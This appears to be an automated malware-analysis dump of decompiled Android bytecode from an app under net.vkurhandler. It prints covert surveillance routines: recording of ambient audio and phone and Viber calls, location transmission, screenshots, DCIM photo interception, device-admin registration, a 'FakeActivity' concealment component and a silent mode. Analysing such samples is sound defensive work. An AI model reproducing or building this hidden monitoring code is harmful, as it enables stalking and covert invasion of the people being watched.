                    • net.vkurhandler.MyApp.w:Lnet/vkurhandler/bl
                    • net.vkurhandler.MyApp.C:Ljava/util/HashMap
                    • java.util.HashMap.entrySet
                    • java.util.Set.iterator
                    • java.util.Iterator.hasNext
                    • net.vkurhandler.MyApp.x:Lnet/vkurhandler/v
                    • net.vkurhandler.MyApp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getLong
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.AudiorecordEnvironmentSchedule.a
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.DispatchSchedule.a
                    • net.vkurhandler.MyApp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • java.util.Iterator.next
                    • java.util.Map$Entry.getValue
                    • net.vkurhandler.dj.f
                    • java.util.Map$Entry.getValue
                    • net.vkurhandler.dj.i
                    Strings
                    • audiorecord_environment
                    • 1,1,1,0,0,0
                    • audiorecord_phone_call
                    • audiorecord_viber_call
                    • send_on_change_sim
                    • transmit_location
                    • interval_send
                    • take_screen
                    • parent_control_block_app_mode
                    • interception_photo
                    • interception_audio
                    • end_time_arecord
                    • silence_mode
                    Position Instruction Meta Information
                    0const/4 v6, 0x0
                    2invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    3move-result-object v0
                    5invoke-static {v0}, Lnet/vkurhandler/KeysInterceptor;->a(Landroid/content/Context;)V
                    7iget-object v0, p0, Lnet/vkurhandler/MyApp;->x:Lnet/vkurhandler/v;
                    9const-string v1, "audiorecord_environment"
                    11iget-object v2, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    13const-string v3, "audiorecord_environment"
                    15const-string v4, "1,1,1,0,0,0"
                    17invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    18move-result-object v2
                    20invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/v;->a(Ljava/lang/String;Ljava/lang/String;)Z
                    22iget-object v0, p0, Lnet/vkurhandler/MyApp;->x:Lnet/vkurhandler/v;
                    24const-string v1, "audiorecord_phone_call"
                    26iget-object v2, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    28const-string v3, "audiorecord_phone_call"
                    30const-string v4, "1,1,1,0,0,0"
                    32invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    33move-result-object v2
                    35invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/v;->a(Ljava/lang/String;Ljava/lang/String;)Z
                    37iget-object v0, p0, Lnet/vkurhandler/MyApp;->x:Lnet/vkurhandler/v;
                    39const-string v1, "audiorecord_viber_call"
                    41iget-object v2, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    43const-string v3, "audiorecord_viber_call"
                    45const-string v4, "1,1,1,0,0,0"
                    47invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    48move-result-object v2
                    50invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/v;->a(Ljava/lang/String;Ljava/lang/String;)Z
                    52iget-object v0, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    54const-string v1, "send_on_change_sim"
                    56invoke-interface {v0, v1, v6}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    57move-result v0
                    58if-eqz v0, :cond_4c
                    60invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    61move-result-object v0
                    63invoke-static {v0}, Lnet/vkurhandler/fx;->a(Landroid/content/Context;)V
                    64cond_4c:
                    65iget-object v0, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    67const-string v1, "transmit_location"
                    69invoke-interface {v0, v1, v6}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    70move-result v0
                    71if-eqz v0, :cond_69
                    73iget-object v0, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    75const-string v1, "interval_send"
                    76const/16 v2, 0x12c
                    78invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    79move-result v0
                    80div-int/lit8 v0, v0, 0x3c
                    82invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    83move-result-object v1
                    85invoke-static {v1, v0}, Lnet/vkurhandler/LocationNotifier;->a(Landroid/content/Context;I)V
                    86cond_69:
                    87invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    88move-result-object v0
                    90invoke-static {v0}, Lnet/vkurhandler/gn;->k(Landroid/content/Context;)Landroid/os/PowerManager;
                    91move-result-object v0
                    93invoke-static {v0}, Lnet/vkurhandler/gn;->a(Landroid/os/PowerManager;)Z
                    94move-result v0
                    95if-eqz v0, :cond_86
                    97iget-object v1, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    99const-string v2, "take_screen"
                    101invoke-interface {v1, v2, v6}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    102move-result v1
                    103if-eqz v1, :cond_86
                    105iget-object v1, p0, Lnet/vkurhandler/MyApp;->y:Lnet/vkurhandler/ee;
                    107invoke-virtual {v1}, Lnet/vkurhandler/ee;->b()V
                    108cond_86: if-eqz v0, :cond_97
                    110iget-object v0, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    112const-string v1, "parent_control_block_app_mode"
                    114invoke-interface {v0, v1, v6}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    115move-result v0
                    116if-eqz v0, :cond_97
                    118iget-object v0, p0, Lnet/vkurhandler/MyApp;->A:Lnet/vkurhandler/cg;
                    120invoke-virtual {v0}, Lnet/vkurhandler/cg;->a()V
                    121cond_97:
                    122iget-object v0, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    124const-string v1, "interception_photo"
                    126invoke-interface {v0, v1, v6}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    127move-result v0
                    128if-eqz v0, :cond_a6
                    130iget-object v0, p0, Lnet/vkurhandler/MyApp;->u:Lnet/vkurhandler/cx;
                    132invoke-virtual {v0}, Lnet/vkurhandler/cx;->b()V
                    133cond_a6:
                    134iget-object v0, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    136const-string v1, "interception_audio"
                    138invoke-interface {v0, v1, v6}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    139move-result v0
                    140if-eqz v0, :cond_b5
                    142iget-object v0, p0, Lnet/vkurhandler/MyApp;->v:Lnet/vkurhandler/n;
                    144invoke-virtual {v0}, Lnet/vkurhandler/n;->b()V
                    145cond_b5:
                    146sget-object v0, Lnet/vkurhandler/cd;->e:Ljava/lang/Boolean;
                    148invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
                    149move-result v0
                    150if-eqz v0, :cond_c2
                    152iget-object v0, p0, Lnet/vkurhandler/MyApp;->w:Lnet/vkurhandler/bl;
                    154invoke-virtual {v0}, Lnet/vkurhandler/bl;->b()V
                    155cond_c2:
                    156iget-object v0, p0, Lnet/vkurhandler/MyApp;->C:Ljava/util/HashMap;
                    158invoke-virtual {v0}, Ljava/util/HashMap;->entrySet()Ljava/util/Set;
                    159move-result-object v0
                    161invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                    162move-result-object v2
                    163goto_cc:
                    164invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                    165move-result v0
                    166if-nez v0, :cond_fa
                    168iget-object v0, p0, Lnet/vkurhandler/MyApp;->x:Lnet/vkurhandler/v;
                    170iget-object v1, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    172const-string v2, "end_time_arecord"
                    173const-wide/16 v4, 0x0
                    175invoke-interface {v1, v2, v4, v5}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
                    176move-result-wide v2
                    178invoke-virtual {v0, v2, v3}, Lnet/vkurhandler/v;->a(J)Z
                    180invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    181move-result-object v0
                    183invoke-static {v0}, Lnet/vkurhandler/AudiorecordEnvironmentSchedule;->a(Landroid/content/Context;)V
                    185invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    186move-result-object v0
                    188invoke-static {v0}, Lnet/vkurhandler/DispatchSchedule;->a(Landroid/content/Context;)V
                    190iget-object v0, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    192const-string v1, "silence_mode"
                    194invoke-interface {v0, v1, v6}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    195move-result v0
                    196sput-boolean v0, Lnet/vkurhandler/MyApp;->a:Z
                    197return-void
                    198cond_fa:
                    199invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    200move-result-object v0
                    201check-cast v0, Ljava/util/Map$Entry;
                    203invoke-interface {v0}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                    204move-result-object v1
                    205check-cast v1, Lnet/vkurhandler/dj;
                    207invoke-virtual {v1}, Lnet/vkurhandler/dj;->f()Z
                    208move-result v1
                    209if-eqz v1, :cond_cc
                    211invoke-interface {v0}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                    212move-result-object v0
                    213check-cast v0, Lnet/vkurhandler/dj;
                    215invoke-virtual {v0}, Lnet/vkurhandler/dj;->i()V
                    216goto/16 :goto_cc
                    Cross References
                    APIs
                    • java.lang.StringBuilder.<init>
                    • android.os.Environment.getExternalStorageDirectory
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.io.File.listFiles
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.getString
                    • java.lang.String.length
                    • org.json.JSONArray.<init>
                    • org.json.JSONArray.length
                    • java.lang.StringBuilder.<init>
                    • android.os.Environment.getExternalStorageDirectory
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.io.File.getAbsolutePath
                    • net.vkurhandler.cy.<init>
                    • java.util.ArrayList.add
                    • java.util.ArrayList.iterator
                    • java.util.Iterator.hasNext
                    • java.util.Iterator.next
                    • net.vkurhandler.cy.a
                    • net.vkurhandler.cy.startWatching
                    • java.io.File.isHidden
                    • java.io.File.isDirectory
                    • java.io.File.getAbsolutePath
                    • net.vkurhandler.cy.<init>
                    • java.util.ArrayList.add
                    • java.lang.Exception.printStackTrace
                    • org.json.JSONArray.getJSONObject
                    • org.json.JSONObject.getString
                    • net.vkurhandler.cy.<init>
                    • java.util.ArrayList.add
                    Strings
                    • /DCIM/
                    • photo_interception_path_json
                    • PhotoWatcher
                    • start,fobs.fullPath:
                    • path
                    Position Instruction Meta Information
                    0const/4 v9, 0x1
                    1const/4 v2, 0x0
                    2iget-boolean v0, p0, Lnet/vkurhandler/cx;->c:Z
                    3if-eqz v0, :cond_7
                    4cond_6: return-void
                    5cond_7: iput-boolean v9, p0, Lnet/vkurhandler/cx;->c:Z
                    6try_start_9: new-instance v0, Ljava/io/File;
                    7new-instance v1, Ljava/lang/StringBuilder;
                    9invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                    11invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
                    12move-result-object v3
                    14invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                    15move-result-object v1
                    17const-string v3, "/DCIM/"
                    19invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    20move-result-object v1
                    22invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    23move-result-object v1
                    25invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    27invoke-virtual {v0}, Ljava/io/File;->listFiles()[Ljava/io/File;
                    28move-result-object v3
                    29array-length v4, v3
                    30try_end_2a: move v1, v2
                    31goto_2b: if-lt v1, v4, :cond_ad
                    32goto_2d:
                    33iget-object v0, p0, Lnet/vkurhandler/cx;->b:Landroid/content/Context;
                    35invoke-static {v0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    36move-result-object v0
                    38invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    39move-result-object v0
                    41const-string v1, "photo_interception_path_json"
                    43const-string v3, ""
                    45invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    46move-result-object v0
                    47try_start_3f:
                    48invoke-virtual {v0}, Ljava/lang/String;->length()I
                    49move-result v1
                    50if-lez v1, :cond_51
                    51new-instance v3, Lorg/json/JSONArray;
                    53invoke-direct {v3, v0}, Lorg/json/JSONArray;-><init>(Ljava/lang/String;)V
                    54move v1, v2
                    55goto_4b:
                    56invoke-virtual {v3}, Lorg/json/JSONArray;->length()I
                    57try_end_4e: move-result v0
                    58if-lt v1, v0, :cond_df
                    59cond_51:
                    60iget-object v0, p0, Lnet/vkurhandler/cx;->a:Ljava/util/ArrayList;
                    61new-instance v1, Lnet/vkurhandler/cy;
                    63iget-object v3, p0, Lnet/vkurhandler/cx;->b:Landroid/content/Context;
                    64new-instance v4, Ljava/io/File;
                    65new-instance v5, Ljava/lang/StringBuilder;
                    67invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                    69invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
                    70move-result-object v6
                    72invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                    73move-result-object v5
                    75const-string v6, "/DCIM/"
                    77invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    78move-result-object v5
                    80invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    81move-result-object v5
                    83invoke-direct {v4, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    85invoke-virtual {v4}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    86move-result-object v4
                    87const/16 v5, 0x88
                    89invoke-direct {v1, v3, v4, v5}, Lnet/vkurhandler/cy;-><init>(Landroid/content/Context;Ljava/lang/String;I)V
                    91invoke-virtual {v0, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                    92goto_7f:
                    93iget-object v0, p0, Lnet/vkurhandler/cx;->a:Ljava/util/ArrayList;
                    95invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                    96move-result-object v1
                    97goto_85:
                    98invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                    99move-result v0
                    100if-eqz v0, :cond_6
                    102invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    103move-result-object v0
                    104check-cast v0, Lnet/vkurhandler/cy;
                    106invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    107move-result v3
                    108if-eqz v3, :cond_a9
                    110const-string v3, "PhotoWatcher"
                    111const/4 v4, 0x2
                    112new-array v4, v4, [Ljava/lang/String;
                    114const-string v5, "start,fobs.fullPath:"
                    115aput-object v5, v4, v2
                    117invoke-static {v0}, Lnet/vkurhandler/cy;->a(Lnet/vkurhandler/cy;)Ljava/lang/String;
                    118move-result-object v5
                    119aput-object v5, v4, v9
                    121invoke-static {v3, v4}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    122cond_a9:
                    123invoke-virtual {v0}, Lnet/vkurhandler/cy;->startWatching()V
                    124goto/16 :goto_85
                    125cond_ad: aget-object v0, v3, v1
                    127invoke-virtual {v0}, Ljava/io/File;->isHidden()Z
                    128move-result v5
                    129if-nez v5, :cond_cd
                    131invoke-virtual {v0}, Ljava/io/File;->isDirectory()Z
                    132try_end_b8: move-result v5
                    133if-eqz v5, :cond_cd
                    134try_start_bb:
                    135iget-object v5, p0, Lnet/vkurhandler/cx;->a:Ljava/util/ArrayList;
                    136new-instance v6, Lnet/vkurhandler/cy;
                    138iget-object v7, p0, Lnet/vkurhandler/cx;->b:Landroid/content/Context;
                    140invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    141move-result-object v0
                    142const/16 v8, 0x88
                    144invoke-direct {v6, v7, v0, v8}, Lnet/vkurhandler/cy;-><init>(Landroid/content/Context;Ljava/lang/String;I)V
                    146invoke-virtual {v5, v6}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                    147try_end_cd: add-int/lit8 v0, v1, 0x1
                    148move v1, v0
                    149goto/16 :goto_2b
                    150catch_d2: move-exception v0
                    151try_start_d3:
                    152invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                    153try_end_d6: goto/16 :goto_cd
                    154catch_d7: move-exception v0
                    156const-string v1, "PhotoWatcher"
                    158invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    159goto/16 :goto_2d
                    160try_start_df:
                    161invoke-virtual {v3, v1}, Lorg/json/JSONArray;->getJSONObject(I)Lorg/json/JSONObject;
                    162move-result-object v0
                    164const-string v4, "path"
                    166invoke-virtual {v0, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    167try_end_e8: move-result-object v0
                    168try_start_e9:
                    169iget-object v4, p0, Lnet/vkurhandler/cx;->a:Ljava/util/ArrayList;
                    170new-instance v5, Lnet/vkurhandler/cy;
                    172iget-object v6, p0, Lnet/vkurhandler/cx;->b:Landroid/content/Context;
                    173const/16 v7, 0x88
                    175invoke-direct {v5, v6, v0, v7}, Lnet/vkurhandler/cy;-><init>(Landroid/content/Context;Ljava/lang/String;I)V
                    177invoke-virtual {v4, v5}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                    178goto_f7: add-int/lit8 v0, v1, 0x1
                    179move v1, v0
                    180goto/16 :goto_4b
                    181catch_fc: move-exception v0
                    182try_start_fd:
                    183const-string v4, "PhotoWatcher"
                    185invoke-static {v4, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    186try_end_102: goto/16 :goto_f7
                    187catch_103: move-exception v0
                    189const-string v1, "PhotoWatcher"
                    191invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    192goto/16 :goto_51
                    193catch_10b: move-exception v0
                    195const-string v1, "PhotoWatcher"
                    197invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    198goto/16 :goto_7f
                    APIs
                    • android.app.Activity.onCreate
                    • net.vkurhandler.SettingsActivity.setContentView
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.SettingsActivity.g:Lnet/vkurhandler/MyApp
                    • net.vkurhandler.MyApp.t
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • net.vkurhandler.SettingsActivity.getSystemService
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • android.content.ComponentName.<init>
                    • net.vkurhandler.SettingsActivity.getPackageName
                    • net.vkurhandler.SettingsActivity.getPackageName
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.content.ComponentName.<init>
                    • net.vkurhandler.SettingsActivity.i
                    • net.vkurhandler.SettingsActivity.g:Lnet/vkurhandler/MyApp
                    • net.vkurhandler.MyApp.v
                    • android.text.TextUtils.isEmpty
                    • net.vkurhandler.SettingsActivity.P:Landroid/widget/Button
                    • android.widget.Button.setEnabled
                    • net.vkurhandler.SettingsActivity.an:Landroid/widget/CheckBox
                    • android.widget.CheckBox.isChecked
                    • net.vkurhandler.SettingsActivity.K:Landroid/widget/LinearLayout
                    • net.vkurhandler.SettingsActivity.d
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.SettingsActivity.f
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.SettingsActivity.h
                    • net.vkurhandler.SettingsActivity.c
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • net.vkurhandler.SettingsActivity.e
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.SettingsActivity.g
                    Strings
                    • language
                    • device_policy
                    • .FakeActivity
                    • device_settings_verify_apps
                    • user_agreement
                    • success_gcm_key
                    • energy_saving
                    Position Instruction Meta Information
                    0const/4 v4, 0x0
                    2invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
                    3const v0, 0x7f030011
                    5invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->setContentView(I)V
                    7invoke-static {}, Lnet/vkurhandler/ec;->a()V
                    9invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    10move-result-object v0
                    12invoke-static {v0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    13move-result-object v0
                    14iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->g:Lnet/vkurhandler/MyApp;
                    16iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->g:Lnet/vkurhandler/MyApp;
                    18invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    19move-result-object v0
                    20iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    21new-instance v0, Lnet/vkurhandler/bg;
                    23iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    25const-string v2, "language"
                    26const/4 v3, 0x1
                    28invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    29move-result v1
                    31invoke-direct {v0, v1}, Lnet/vkurhandler/bg;-><init>(I)V
                    32iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->c:Lnet/vkurhandler/bg;
                    34const-string v0, "device_policy"
                    36invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                    37move-result-object v0
                    38check-cast v0, Landroid/app/admin/DevicePolicyManager;
                    39iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->f:Landroid/app/admin/DevicePolicyManager;
                    40new-instance v0, Landroid/content/ComponentName;
                    42invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    43move-result-object v1
                    44const-class v2, Lnet/vkurhandler/RDeviceAdminReceiver;
                    46invoke-direct {v0, v1, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    47iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->e:Landroid/content/ComponentName;
                    48new-instance v0, Landroid/content/ComponentName;
                    50invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getPackageName()Ljava/lang/String;
                    51move-result-object v1
                    52new-instance v2, Ljava/lang/StringBuilder;
                    54invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getPackageName()Ljava/lang/String;
                    55move-result-object v3
                    57invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    58move-result-object v3
                    60invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    62const-string v3, ".FakeActivity"
                    64invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    65move-result-object v2
                    67invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    68move-result-object v2
                    70invoke-direct {v0, v1, v2}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                    71iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->d:Landroid/content/ComponentName;
                    73invoke-direct {p0}, Lnet/vkurhandler/SettingsActivity;->i()V
                    75iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->g:Lnet/vkurhandler/MyApp;
                    77invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->v()Lnet/vkurhandler/Mobile;
                    78move-result-object v0
                    80invoke-virtual {v0}, Lnet/vkurhandler/Mobile;->a()Ljava/lang/String;
                    81move-result-object v0
                    83invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    84move-result v0
                    85if-eqz v0, :cond_80
                    87iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->P:Landroid/widget/Button;
                    89invoke-virtual {v0, v4}, Landroid/widget/Button;->setEnabled(Z)V
                    90cond_80:
                    91iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->an:Landroid/widget/CheckBox;
                    93invoke-virtual {v0}, Landroid/widget/CheckBox;->isChecked()Z
                    94move-result v0
                    95if-nez v0, :cond_8d
                    97iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->K:Landroid/widget/LinearLayout;
                    99invoke-static {v0, v4}, Lnet/vkurhandler/gn;->a(Landroid/view/View;Z)V
                    100cond_8d:
                    101invoke-static {}, Lnet/vkurhandler/gn;->c()Z
                    102move-result v0
                    103if-nez v0, :cond_96
                    105invoke-direct {p0}, Lnet/vkurhandler/SettingsActivity;->d()V
                    106cond_96:
                    107iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    109const-string v1, "device_settings_verify_apps"
                    111invoke-interface {v0, v1, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    112move-result v0
                    113if-nez v0, :cond_a3
                    115invoke-direct {p0}, Lnet/vkurhandler/SettingsActivity;->f()V
                    116cond_a3:
                    117iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    119const-string v1, "user_agreement"
                    121invoke-interface {v0, v1, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    122move-result v0
                    123if-nez v0, :cond_b0
                    125invoke-direct {p0}, Lnet/vkurhandler/SettingsActivity;->h()V
                    126cond_b0:
                    127invoke-direct {p0}, Lnet/vkurhandler/SettingsActivity;->c()V
                    129iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    131const-string v1, "success_gcm_key"
                    133invoke-interface {v0, v1, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    134move-result v0
                    135if-nez v0, :cond_c4
                    137invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    138move-result-object v0
                    140invoke-static {v0}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;)V
                    141cond_c4: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                    142const/16 v1, 0x15
                    143if-lt v0, v1, :cond_d7
                    145invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    146move-result-object v0
                    148invoke-static {v0}, Lnet/vkurhandler/gn;->t(Landroid/content/Context;)Z
                    149move-result v0
                    150if-nez v0, :cond_d7
                    152invoke-direct {p0}, Lnet/vkurhandler/SettingsActivity;->e()V
                    153cond_d7: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                    154const/16 v1, 0x17
                    155if-lt v0, v1, :cond_ea
                    157iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    159const-string v1, "energy_saving"
                    161invoke-interface {v0, v1, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    162move-result v0
                    163if-nez v0, :cond_ea
                    165invoke-direct {p0}, Lnet/vkurhandler/SettingsActivity;->g()V
                    166cond_ea: return-void
                    APIs
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.v
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • android.os.Build.MODEL:Ljava/lang/String
                    • org.json.JSONObject.put
                    • android.os.Build.FINGERPRINT:Ljava/lang/String
                    • org.json.JSONObject.put
                    • java.lang.String.<init>
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getJSONObject
                    • org.json.JSONObject.getBoolean
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
